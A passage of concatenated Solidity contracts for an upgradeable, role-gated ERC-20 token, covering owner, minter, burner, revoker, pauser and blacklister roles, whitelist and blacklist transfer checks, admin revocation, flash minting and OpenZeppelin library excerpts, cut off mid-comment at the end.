caller does not have the Revoker role" ); _; } /// @dev Public function returns `true` if `account` has been granted a revoker role function isRevoker(address account) public view returns (bool) { return _has(_revokers, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a revoker /// @param account The address that is guaranteed revoker authorization function _addRevoker(address account) internal { _add(_revokers, account); emit RevokerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a revoker /// @param account The address removed as a revoker function _removeRevoker(address account) internal { _remove(_revokers, account); emit RevokerRemoved(account, msg.sender); } /// @dev Public function that adds an address as a revoker /// @param account The address that is guaranteed revoker authorization function addRevoker(address account) external onlyOwner { _addRevoker(account); } /// @dev Public function that removes an account from being a revoker /// @param account The address removed as a revoker function removeRevoker(address account) external onlyOwner { _removeRevoker(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title PauserRole Contract /// @notice Only administrators can update the pauser roles /// @dev Keeps track of pausers and can check if an account is authorized contract PauserRole is OwnerRole { event PauserAdded(address indexed addedPauser, address indexed addedBy); event PauserRemoved( address indexed removedPauser, address indexed removedBy ); Role private _pausers; /// @dev Modifier to make a function callable only when the caller is a pauser modifier onlyPauser() { require( isPauser(msg.sender), "PauserRole: caller does not have the Pauser role" ); _; } /// @dev Public function returns `true` if `account` has been granted a pauser role function isPauser(address account) public view returns (bool) { return _has(_pausers, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a pauser /// @param account The address that is guaranteed pauser authorization function _addPauser(address account) internal { _add(_pausers, account); emit PauserAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a pauser /// @param account The address removed as a pauser function _removePauser(address account) internal { _remove(_pausers, account); emit PauserRemoved(account, msg.sender); } /// @dev Public function that adds an address as a pauser /// @param account The address that is guaranteed pauser authorization function addPauser(address account) external onlyOwner { _addPauser(account); } /// @dev Public function that removes an account from being a pauser /// @param account The address removed as a pauser function removePauser(address account) external onlyOwner { _removePauser(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title OwnerRole Contract /// @notice Only administrators can update the owner roles /// @dev Keeps track of owners and can check if an account is authorized contract OwnerRole { event OwnerAdded(address indexed addedOwner, address indexed addedBy); event OwnerRemoved(address indexed removedOwner, address indexed removedBy); struct Role { mapping(address => bool) members; } Role private _owners; /// @dev Modifier to make a function callable only when the caller is an owner modifier onlyOwner() { require( isOwner(msg.sender), "OwnerRole: caller does not have the Owner role" ); _; } /// @dev Public function returns `true` if `account` has been granted an owner role function isOwner(address account) public view returns (bool) { return _has(_owners, account); } /// @dev Public function that adds an address as an owner /// @param account The address that is guaranteed owner authorization function addOwner(address account) external onlyOwner { _addOwner(account); } /// @dev Public function that removes an account from being an owner /// @param account The address removed as a owner function removeOwner(address account) external onlyOwner { _removeOwner(account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as an owner /// @param account The address that is guaranteed owner authorization function _addOwner(address account) internal { _add(_owners, account); emit OwnerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being an owner /// @param account The address removed as an owner function _removeOwner(address account) internal { _remove(_owners, account); emit OwnerRemoved(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Give an account access to this role /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization function _add(Role storage role, address account) internal { require(account != address(0x0), "Invalid 0x0 address"); require(!_has(role, account), "Roles: account already has role"); role.members[account] = true; } /// @notice Only administrators should be allowed to update this /// @dev Remove an account's access to this role /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization function _remove(Role storage role, address account) internal { require(_has(role, account), "Roles: account does not have role"); role.members[account] = false; } /// @dev Check if an account is in the set of roles /// @param role All authorizations for the contract /// @param account The address that is guaranteed owner authorization /// @return boolean function _has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.members[account]; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title MinterRole Contract /// @notice Only administrators can update the minter roles /// @dev Keeps track of minters and can check if an account is authorized contract MinterRole is OwnerRole { event MinterAdded(address indexed addedMinter, address indexed addedBy); event MinterRemoved( address indexed removedMinter, address indexed removedBy ); Role private _minters; /// @dev Modifier to make a function callable only when the caller is a minter modifier onlyMinter() { require( isMinter(msg.sender), "MinterRole: caller does not have the Minter role" ); _; } /// @dev Public function returns `true` if `account` has been granted a minter role function isMinter(address account) public view returns (bool) { return _has(_minters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a minter /// @param account The address that is guaranteed minter authorization function _addMinter(address account) internal { _add(_minters, account); emit MinterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a minter /// @param account The address removed as a minter function _removeMinter(address account) internal { _remove(_minters, account); emit MinterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a minter /// @param account The address that is guaranteed minter authorization function addMinter(address account) external onlyOwner { _addMinter(account); } /// @dev Public function that removes an account from being a minter /// @param account The address removed as a minter function removeMinter(address account) external onlyOwner { _removeMinter(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title BurnerRole Contract /// @notice Only administrators can update the burner roles /// @dev Keeps track of burners and can check if an account is authorized contract BurnerRole is OwnerRole { event BurnerAdded(address indexed addedBurner, address indexed addedBy); event BurnerRemoved( address indexed removedBurner, address indexed removedBy ); Role private _burners; /// @dev Modifier to make a function callable only when the caller is a burner modifier onlyBurner() { require( isBurner(msg.sender), "BurnerRole: caller does not have the Burner role" ); _; } /// @dev Public function returns `true` if `account` has been granted a burner role function isBurner(address account) public view returns (bool) { return _has(_burners, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a burner /// @param account The address that is guaranteed burner authorization function _addBurner(address account) internal { _add(_burners, account); emit BurnerAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a burner /// @param account The address removed as a burner function _removeBurner(address account) internal { _remove(_burners, account); emit BurnerRemoved(account, msg.sender); } /// @dev Public function that adds an address as a burner /// @param account The address that is guaranteed burner authorization function addBurner(address account) external onlyOwner { _addBurner(account); } /// @dev Public function that removes an account from being a burner /// @param account The address removed as a burner function removeBurner(address account) external onlyOwner { _removeBurner(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title BlacklisterRole Contract /// @notice Only administrators can update the black lister roles /// @dev Keeps track of black listers and can check if an account is authorized contract BlacklisterRole is OwnerRole { event BlacklisterAdded( address indexed addedBlacklister, address indexed addedBy ); event BlacklisterRemoved( address indexed removedBlacklister, address indexed removedBy ); Role private _Blacklisters; /// @dev Modifier to make a function callable only when the caller is a black lister modifier onlyBlacklister() { require(isBlacklister(msg.sender), "BlacklisterRole missing"); _; } /// @dev Public function returns `true` if `account` has been granted a black lister role function isBlacklister(address account) public view returns (bool) { return _has(_Blacklisters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a black lister /// @param account The address that is guaranteed black lister authorization function _addBlacklister(address account) internal { _add(_Blacklisters, account); emit BlacklisterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a black lister /// @param account The address removed as a black lister function _removeBlacklister(address account) internal { _remove(_Blacklisters, account); emit BlacklisterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a black lister /// @param account The address that is guaranteed black lister authorization function addBlacklister(address account) external onlyOwner { _addBlacklister(account); } /// @dev Public function that removes an account from being a black lister /// @param account The address removed as a black lister function removeBlacklister(address account) external onlyOwner { _removeBlacklister(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/WhitelisterRole.sol"; /// @title Whitelistable Contract /// @notice Only administrators can update the white lists, and any address can only be a member of one whitelist at a /// time /// @dev Keeps track of white lists and can check if sender and reciever are configured to allow a transfer contract Whitelistable is WhitelisterRole { // The mapping to keep track of which whitelist any address belongs to. // 0 is reserved for no whitelist and is the default for all addresses. mapping(address => uint8) public addressWhitelists; // The mapping to keep track of each whitelist's outbound whitelist flags. // Boolean flag indicates whether outbound transfers are enabled. mapping(uint8 => mapping(uint8 => bool)) public outboundWhitelistsEnabled; // Track whether whitelisting is enabled bool public isWhitelistEnabled; // Zero is reserved for indicating it is not on a whitelist uint8 constant NO_WHITELIST = 0; // Events to allow tracking add/remove. event AddressAddedToWhitelist( address indexed addedAddress, uint8 indexed whitelist, address indexed addedBy ); event AddressRemovedFromWhitelist( address indexed removedAddress, uint8 indexed whitelist, address indexed removedBy ); event OutboundWhitelistUpdated( address indexed updatedBy, uint8 indexed sourceWhitelist, uint8 indexed destinationWhitelist, bool from, bool to ); event WhitelistEnabledUpdated( address indexed updatedBy, bool indexed enabled ); /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the whitelist enforcement /// @param enabled A boolean flag that enables token transfers to be white listed function _setWhitelistEnabled(bool enabled) internal { isWhitelistEnabled = enabled; emit WhitelistEnabledUpdated(msg.sender, enabled); } /// @notice Only administrators should be allowed to update this. If an address is on an existing whitelist, it will /// just get updated to the new value (removed from previous) /// @dev Sets an address's white list ID. /// @param addressToAdd The address added to a whitelist /// @param whitelist Number identifier for the whitelist the address is being added to function _addToWhitelist(address addressToAdd, uint8 whitelist) internal { // Verify a valid address was passed in require( addressToAdd != address(0), "Cannot add address 0x0 to a whitelist." ); // Verify the whitelist is valid require(whitelist != NO_WHITELIST, "Invalid whitelist ID supplied"); // Save off the previous white list uint8 previousWhitelist = addressWhitelists[addressToAdd]; // Set the address's white list ID addressWhitelists[addressToAdd] = whitelist; // If the previous whitelist existed then we want to indicate it has been removed if (previousWhitelist != NO_WHITELIST) { // Emit the event for tracking emit AddressRemovedFromWhitelist( addressToAdd, previousWhitelist, msg.sender ); } // Emit the event for new whitelist emit AddressAddedToWhitelist(addressToAdd, whitelist, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Clears out an address's white list ID /// @param addressToRemove The address removed from a white list function _removeFromWhitelist(address addressToRemove) internal { // Verify a valid address was passed in require( addressToRemove != address(0), "Cannot remove address 0x0 from a whitelist." ); // Save off the previous white list uint8 previousWhitelist = addressWhitelists[addressToRemove]; // Verify the address was actually on a whitelist require( previousWhitelist != NO_WHITELIST, "Address cannot be removed from invalid whitelist." ); // Zero out the previous white list addressWhitelists[addressToRemove] = NO_WHITELIST; // Emit the event for tracking emit AddressRemovedFromWhitelist( addressToRemove, previousWhitelist, msg.sender ); } /// @notice Only administrators should be allowed to update this /// @dev Sets the flag to indicate whether source whitelist is allowed to send to destination whitelist /// @param sourceWhitelist The white list of the sender /// @param destinationWhitelist The white list of the receiver /// @param newEnabledValue A boolean flag that enables token transfers between white lists function _updateOutboundWhitelistEnabled( uint8 sourceWhitelist, uint8 destinationWhitelist, bool newEnabledValue ) internal { // Get the old enabled flag bool oldEnabledValue = outboundWhitelistsEnabled[sourceWhitelist][ destinationWhitelist ]; // Update to the new value outboundWhitelistsEnabled[sourceWhitelist][ destinationWhitelist ] = newEnabledValue; // Emit event for tracking emit OutboundWhitelistUpdated( msg.sender, sourceWhitelist, destinationWhitelist, oldEnabledValue, newEnabledValue ); } /// @notice The source whitelist must be enabled to send to the whitelist where the receive exists /// @dev Determine if the a sender is allowed to send to the receiver /// @param sender The address of the sender /// @param receiver The address of the receiver function checkWhitelistAllowed(address sender, address receiver) public view returns (bool) { // If whitelist enforcement is not enabled, then allow all if (!isWhitelistEnabled) { return true; } // First get each address white list uint8 senderWhiteList = addressWhitelists[sender]; uint8 receiverWhiteList = addressWhitelists[receiver]; // If either address is not on a white list then the check should fail if ( senderWhiteList == NO_WHITELIST || receiverWhiteList == NO_WHITELIST ) { return false; } // Determine if the sending whitelist is allowed to send to the destination whitelist return outboundWhitelistsEnabled[senderWhiteList][receiverWhiteList]; } /// @dev Public function that enables or disables the white list enforcement /// @param enabled A boolean flag that enables token transfers to be whitelisted function setWhitelistEnabled(bool enabled) external onlyOwner { _setWhitelistEnabled(enabled); } /// @notice If an address is on an existing whitelist, it will just get updated to the new value (removed from /// previous) /// @dev Public function that sets an address's white list ID /// @param addressToAdd The address added to a whitelist /// @param whitelist Number identifier for the whitelist the address is being added to function addToWhitelist(address addressToAdd, uint8 whitelist) external onlyWhitelister { _addToWhitelist(addressToAdd, whitelist); } /// @dev Public function that clears out an address's white list ID /// @param addressToRemove The address removed from a white list function removeFromWhitelist(address addressToRemove) external onlyWhitelister { _removeFromWhitelist(addressToRemove); } /// @dev Public function that sets the flag to indicate whether source white list is allowed to send to destination /// white list /// @param sourceWhitelist The white list of the sender /// @param destinationWhitelist The white list of the receiver /// @param newEnabledValue A boolean flag that enables token transfers between white lists function updateOutboundWhitelistEnabled( uint8 sourceWhitelist, uint8 destinationWhitelist, bool newEnabledValue ) external onlyWhitelister { _updateOutboundWhitelistEnabled( sourceWhitelist, destinationWhitelist, newEnabledValue ); } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/RevokerRole.sol"; /// @title RevocableToAddress Contract /// @notice Only administrators can revoke tokens to an address /// @dev Enables reducing a balance by transfering tokens to an address contract RevocableToAddress is ERC20Upgradeable, RevokerRole { event RevokeToAddress( address indexed revoker, address indexed from, address indexed to, uint256 amount ); /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param to The account revoked token will be transferred to /// @param amount The number of tokens to remove from a balance function _revokeToAddress( address from, address to, uint256 amount ) internal returns (bool) { ERC20Upgradeable._transfer(from, to, amount); emit RevokeToAddress(msg.sender, from, to, amount); return true; } /** Allow Admins to revoke tokens from any address to any destination */ /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function revokeToAddress( address from, address to, uint256 amount ) external onlyRevoker returns (bool) { return _revokeToAddress(from, to, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/RevokerRole.sol"; /// @title Revocable Contract /// @notice Only administrators can revoke tokens /// @dev Enables reducing a balance by transfering tokens to the caller contract Revocable is ERC20Upgradeable, RevokerRole { event Revoke(address indexed revoker, address indexed from, uint256 amount); /// @notice Only administrators should be allowed to revoke on behalf of another account /// @dev Revoke a quantity of token in an account, reducing the balance /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function _revoke(address from, uint256 amount) internal returns (bool) { ERC20Upgradeable._transfer(from, msg.sender, amount); emit Revoke(msg.sender, from, amount); return true; } /// @dev Allow Revokers to revoke tokens for addresses /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function revoke(address from, uint256 amount) external onlyRevoker returns (bool) { return _revoke(from, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXIABLE_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); function _updateCodeAddress(address newAddress) internal { require( bytes32(PROXIABLE_MEM_SLOT) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(PROXIABLE_MEM_SLOT, newAddress) } emit CodeAddressUpdated(newAddress); } function getLogicAddress() external view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXIABLE_MEM_SLOT) } } function proxiableUUID() external pure returns (bytes32) { return bytes32(PROXIABLE_MEM_SLOT); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/PauserRole.sol"; /// @title Pausable Contract /// @notice Child contracts will not be pausable by simply including this module, but only once the modifiers are put in /// place /// @dev Contract module which allows children to implement an emergency stop mechanism that can be triggered by an /// authorized account. This module is used through inheritance. It will make available the modifiers `whenNotPaused` /// and `whenPaused`, which can be applied to the functions of your contract. contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; /// @dev Returns true if the contract is paused, and false otherwise. /// @return A boolean flag for if the contract is paused function paused() public view returns (bool) { return _paused; } /// @dev Modifier to make a function callable only when the contract is not paused modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /// @dev Modifier to make a function callable only when the contract is paused modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /// @notice Only administrators should be allowed to update this /// @dev Triggers stopped state function _pause() internal { _paused = true; emit Paused(msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Resets to normal state function _unpause() internal { _paused = false; emit Unpaused(msg.sender); } /// @dev Public function triggers stopped state function pause() external onlyPauser whenNotPaused { Pausable._pause(); } /// @dev Public function resets to normal state. function unpause() external onlyPauser whenPaused { Pausable._unpause(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20FlashMintUpgradeable.sol"; import "../roles/MinterRole.sol"; /// @title Mintable Contract /// @notice Only administrators can mint tokens /// @dev Enables increasing a balance by minting tokens contract Mintable is ERC20FlashMintUpgradeable, MinterRole, ReentrancyGuardUpgradeable { event Mint(address indexed minter, address indexed to, uint256 amount); uint256 public flashMintFee = 0; address public flashMintFeeReceiver; bool public isFlashMintEnabled = false; bytes32 public constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan"); /// @notice Only administrators should be allowed to mint on behalf of another account /// @dev Mint a quantity of token in an account, increasing the balance /// @param minter Designated to be allowed to mint account tokens /// @param to The account tokens will be increased to /// @param amount The number of tokens to add to a balance function _mint( address minter, address to, uint256 amount ) internal returns (bool) { ERC20Upgradeable._mint(to, amount); emit Mint(minter, to, amount); return true; } /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the flash mint functionality /// @param enabled A boolean flag that enables tokens to be flash minted function _setFlashMintEnabled(bool enabled) internal { isFlashMintEnabled = enabled; } /// @notice Only administrators should be allowed to update this /// @dev Sets the address that will receive fees of flash mints /// @param receiver The account that will receive flash mint fees function _setFlashMintFeeReceiver(address receiver) internal { flashMintFeeReceiver = receiver; } /// @dev Allow Owners to mint tokens to valid addresses /// @param account The account tokens will be added to /// @param amount The number of tokens to add to a balance function mint(address account, uint256 amount) public virtual onlyMinter returns (bool) { return Mintable._mint(msg.sender, account, amount); } /// @dev Public function to set the fee paid by the borrower for a flash mint /// @param fee The number of tokens that will cost to flash mint function setFlashMintFee(uint256 fee) external onlyMinter { flashMintFee = fee; } /// @dev Public function to enable or disable the flash mint functionality /// @param enabled A boolean flag that enables tokens to be flash minted function setFlashMintEnabled(bool enabled) external onlyMinter { _setFlashMintEnabled(enabled); } /// @dev Public function to update the receiver of the fee paid for a flash mint /// @param receiver The account that will receive flash mint fees function setFlashMintFeeReceiver(address receiver) external onlyMinter { _setFlashMintFeeReceiver(receiver); } /// @dev Public function that returns the fee set for a flash mint /// @param token The token to be flash loaned /// @return The fees applied to the corresponding flash loan function flashFee(address token, uint256) public view override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); return flashMintFee; } /// @dev Performs a flash loan. New tokens are minted and sent to the /// `receiver`, who is required to implement the {IERC3156FlashBorrower} /// interface. By the end of the flash loan, the receiver is expected to own /// amount + fee tokens so that the fee can be sent to the fee receiver and the /// amount minted should be burned before the transaction completes /// @param receiver The receiver of the flash loan. Should implement the /// {IERC3156FlashBorrower.onFlashLoan} interface /// @param token The token to be flash loaned. Only `address(this)` is /// supported /// @param amount The amount of tokens to be loaned /// @param data An arbitrary datafield that is passed to the receiver /// @return `true` if the flash loan was successful function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) public override nonReentrant returns (bool) { require(isFlashMintEnabled, "flash mint is disabled"); uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE, "ERC20FlashMint: invalid return value" ); uint256 currentAllowance = allowance(address(receiver), address(this)); require( currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund" ); _transfer(address(receiver), flashMintFeeReceiver, fee); _approve( address(receiver), address(this), currentAllowance - amount - fee ); _burn(address(receiver), amount); return true; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/BurnerRole.sol"; /// @title Burnable Contract /// @notice Only administrators can burn tokens /// @dev Enables reducing a balance by burning tokens contract Burnable is ERC20Upgradeable, BurnerRole { event Burn(address indexed burner, address indexed from, uint256 amount); /// @notice Only administrators should be allowed to burn on behalf of another account /// @dev Burn a quantity of token in an account, reducing the balance /// @param burner Designated to be allowed to burn account tokens /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function _burn( address burner, address from, uint256 amount ) internal returns (bool) { ERC20Upgradeable._burn(from, amount); emit Burn(burner, from, amount); return true; } /// @dev Allow Burners to burn tokens for addresses /// @param account The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function burn(address account, uint256 amount) external onlyBurner returns (bool) { return _burn(msg.sender, account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/BlacklisterRole.sol"; /// @title Blacklistable Contract /// @notice Only administrators can update the black list /// @dev Keeps track of black lists and can check if sender and reciever are configured to allow a transfer contract Blacklistable is BlacklisterRole { // The mapping to keep track if an address is black listed mapping(address => bool) public addressBlacklists; // Track whether Blacklisting is enabled bool public isBlacklistEnabled; // Events to allow tracking add/remove. event AddressAddedToBlacklist( address indexed addedAddress, address indexed addedBy ); event AddressRemovedFromBlacklist( address indexed removedAddress, address indexed removedBy ); event BlacklistEnabledUpdated( address indexed updatedBy, bool indexed enabled ); /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the black list enforcement /// @param enabled A boolean flag that enables token transfers to be black listed function _setBlacklistEnabled(bool enabled) internal { isBlacklistEnabled = enabled; emit BlacklistEnabledUpdated(msg.sender, enabled); } /// @notice Only administrators should be allowed to update this /// @dev Sets an address's black listing status /// @param addressToAdd The address added to a black list function _addToBlacklist(address addressToAdd) internal { // Verify a valid address was passed in require(addressToAdd != address(0), "Cannot add 0x0"); // Verify the address is on the blacklist before it can be removed require(!addressBlacklists[addressToAdd], "Already on list"); // Set the address's white list ID addressBlacklists[addressToAdd] = true; // Emit the event for new Blacklist emit AddressAddedToBlacklist(addressToAdd, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Clears out an address from the black list /// @param addressToRemove The address removed from a black list function _removeFromBlacklist(address addressToRemove) internal { // Verify a valid address was passed in require(addressToRemove != address(0), "Cannot remove 0x0"); // Verify the address is on the blacklist before it can be removed require(addressBlacklists[addressToRemove], "Not on list"); // Zero out the previous white list addressBlacklists[addressToRemove] = false; // Emit the event for tracking emit AddressRemovedFromBlacklist(addressToRemove, msg.sender); } /// @notice If either the sender or receiver is black listed, then the transfer should be denied /// @dev Determine if the a sender is allowed to send to the receiver /// @param sender The sender of a token transfer /// @param receiver The receiver of a token transfer function checkBlacklistAllowed(address sender, address receiver) public view returns (bool) { // If black list enforcement is not enabled, then allow all if (!isBlacklistEnabled) { return true; } // If either address is on the black list then fail return !addressBlacklists[sender] && !addressBlacklists[receiver]; } /// @dev Public function that enables or disables the black list enforcement /// @param enabled A boolean flag that enables token transfers to be black listed function setBlacklistEnabled(bool enabled) external onlyOwner { _setBlacklistEnabled(enabled); } /// @dev Public function that allows admins to remove an address from a black list /// @param addressToAdd The address added to a black list function addToBlacklist(address addressToAdd) external onlyBlacklister { _addToBlacklist(addressToAdd); } /// @dev Public function that allows admins to remove an address from a black list /// @param addressToRemove The address removed from a black list function removeFromBlacklist(address addressToRemove) external onlyBlacklister { _removeFromBlacklist(addressToRemove); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ERC1404 { /// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code /// @dev Overwrite with your custom transfer restriction logic /// @param from Sending address /// @param to Receiving address /// @param value Amount of tokens being transferred /// @return Code by which to reference message for rejection reasoning function detectTransferRestriction( address from, address to, uint256 value ) public view virtual returns (uint8); /// @notice Returns a human-readable message for a given restriction code /// @dev Overwrite with your custom message and restrictionCode handling /// @param restrictionCode Identifier for looking up a message /// @return Text showing the restriction's reasoning function messageForTransferRestriction(uint8 restrictionCode) public view virtual returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20FlashMint.sol) pragma solidity ^0.8.0; import "../../../interfaces/IERC3156Upgradeable.sol"; import "../ERC20Upgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the ERC3156 Flash loans extension, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * Adds the {flashLoan} method, which provides flash loan support at the token * level. By default there is no fee, but this can be changed by overriding {flashFee}. * * _Available since v4.1._ */ abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable { function __ERC20FlashMint_init() internal initializer { __Context_init_unchained(); __ERC20FlashMint_init_unchained(); } function __ERC20FlashMint_init_unchained() internal initializer { } bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan"); /** * @dev Returns the maximum amount of tokens available for loan. * @param token The address of the token that is requested. * @return The amont of token that can be loaned. */ function maxFlashLoan(address token) public view override returns (uint256) { return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0; } /** * @dev Returns the fee applied when doing flash loans. By default this * implementation has 0 fees. This function can be overloaded to make * the flash loan mechanism deflationary. * @param token The token to be flash loaned. * @param amount The amount of tokens to be loaned. * @return The fees applied to the corresponding flash loan. */ function flashFee(address token, uint256 amount) public view virtual override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); // silence warning about unused variable without the addition of bytecode. amount; return 0; } /** * @dev Performs a flash loan. New tokens are minted and sent to the * `receiver`, who is required to implement the {IERC3156FlashBorrower} * interface. By the end of the flash loan, the receiver is expected to own * amount + fee tokens and have them approved back to the token contract itself so * they can be burned. * @param receiver The receiver of the flash loan. Should implement the * {IERC3156FlashBorrower.onFlashLoan} interface. * @param token The token to be flash loaned. Only `address(this)` is * supported. * @param amount The amount of tokens to be loaned. * @param data An arbitrary datafield that is passed to the receiver. * @return `true` is the flash loan was successful. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) public virtual override returns (bool) { uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE, "ERC20FlashMint: invalid return value" ); uint256 currentAllowance = allowance(address(receiver), address(this)); require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund"); _approve(address(receiver), address(this), currentAllowance - amount - fee); _burn(address(receiver), amount + fee); return true; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first 